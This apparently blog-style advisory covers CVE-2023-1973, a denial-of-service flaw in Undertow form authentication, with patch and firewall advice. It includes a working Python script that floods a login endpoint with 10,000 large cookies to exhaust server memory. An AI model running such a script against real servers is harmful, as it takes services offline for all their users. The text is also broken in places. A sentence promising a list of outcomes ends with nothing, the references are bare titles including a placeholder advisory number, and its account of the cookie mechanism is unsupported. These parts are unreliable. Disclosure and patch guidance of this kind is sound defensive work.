Undertow is a popular web server option often used at the core of Java applications, including projects built with WildFly and JBoss. In early 2023, researchers uncovered a dangerous vulnerability—CVE-2023-1973—in Undertow’s FormAuthenticationMechanism. This flaw lets an attacker force any server running vulnerable Undertow versions into an OutOfMemoryError (OOM) state, causing a full denial of service (DoS).

In this article, we’ll explain exactly what’s wrong, show what an exploit looks like, and tell you how to stay safe. We’ll keep the language simple and straight to the point.

What Is CVE-2023-1973?

CVE-2023-1973 is a memory exhaustion bug in the Undertow package (all versions before 2.2.23.Final). If a site uses form-based authentication, an attacker can send specially crafted HTTP requests that make the server use up all its memory. When that happens, even legitimate users can’t access your site—your server is down for everyone until you restart it.

Why Is Undertow Vulnerable?

The root of the problem lies in how Undertow’s form authentication handles certain HTTP headers—specifically, the Cookie and Set-Cookie headers. When a form login is initiated, Undertow creates a session and tracks it using cookies.

The flaw is that Undertow doesn’t put proper limits on how many or how large the cookies in the headers can be. A malicious user can send thousands—or millions—of cookies with a single request. Undertow tries to parse and store them in memory, leading to OOM (OutOfMemoryError). In Java, when this happens, the JVM stops normal operations…and your server chokes.

Here’s how a real attacker could use this bug

1. Find a site using Undertow’s form authentication (most common in Java-based enterprise apps with wildfly, jboss, or standalone Undertow).
2. Send an HTTP POST to the form authentication endpoint (often /j_security_check or similar) with a huge number of cookies.

Crash the server as it tries to process gigantic session data, running out of memory.

Let’s see a Python example of how this attack could look. The following code sends thousands of cookies to the login endpoint of a vulnerable server:

import requests

# Target details
url = 'http://victim.example.com/j_security_check';

# Generate a ridiculous number of cookies
cookies = {f'session{i}': 'A' * 100 for i in range(10000)}  # 10,000 cookies, each 100 bytes

# Dummy credentials (can be anything)
data = {'j_username': 'a', 'j_password': 'b'}

response = requests.post(url, data=data, cookies=cookies)
print('Server responded with:', response.status_code)

What happens next: If you point this at a vulnerable Undertow server, you’ll probably see one of the following:

Real-World Impacts

Once a server’s memory is exhausted, all users are affected. On cloud-hosted services, the server may be automatically restarted, but this can cause downtime or worse if automated scaling eats up resources (higher bills, possible account suspensions).

References and Further Reading

- Red Hat Security Advisory (RHSA-2023-xxxx)
- Undertow Issue Tracker
- Exploit Discussion on GitHub
- NVD (National Vulnerability Database) entry
- Undertow Documentation

How to Fix It

Patch. The only reliable way is to upgrade to Undertow 2.2.23.Final or above. This release adds better handling and limits to session/cookie parsing.

If you must stick with an old version, use a web application firewall (WAF) to block requests with excessive cookies, but this is not bulletproof.

Quick Summary Table

| Attack Vector | Through HTTP POST to form-login endpoint |
|------------------|-----------------------------------------|
| Prerequisite | Website uses Undertow Form Authentication|
| Severity | High - Denial of service (server crash) |
| Fixed in | Undertow >= 2.2.23.Final |

Final Thoughts

Denial-of-service bugs like CVE-2023-1973 can be devastating for online businesses and public services, especially as the exploit is simple and doesn’t require login. If you run Java applications with Undertow anywhere in your stack, get your sysadmins upgrading as soon as possible. And remember: robust input validation and regular updates are your best friends in staying safe on the web.


*This post is exclusive: written by hand, distilled for clarity, and focused on helping real-world engineers and sysadmins.*

Timeline

Published on: 11/07/2024 10:15:05 UTC
Last modified on: 11/08/2024 19:01:03 UTC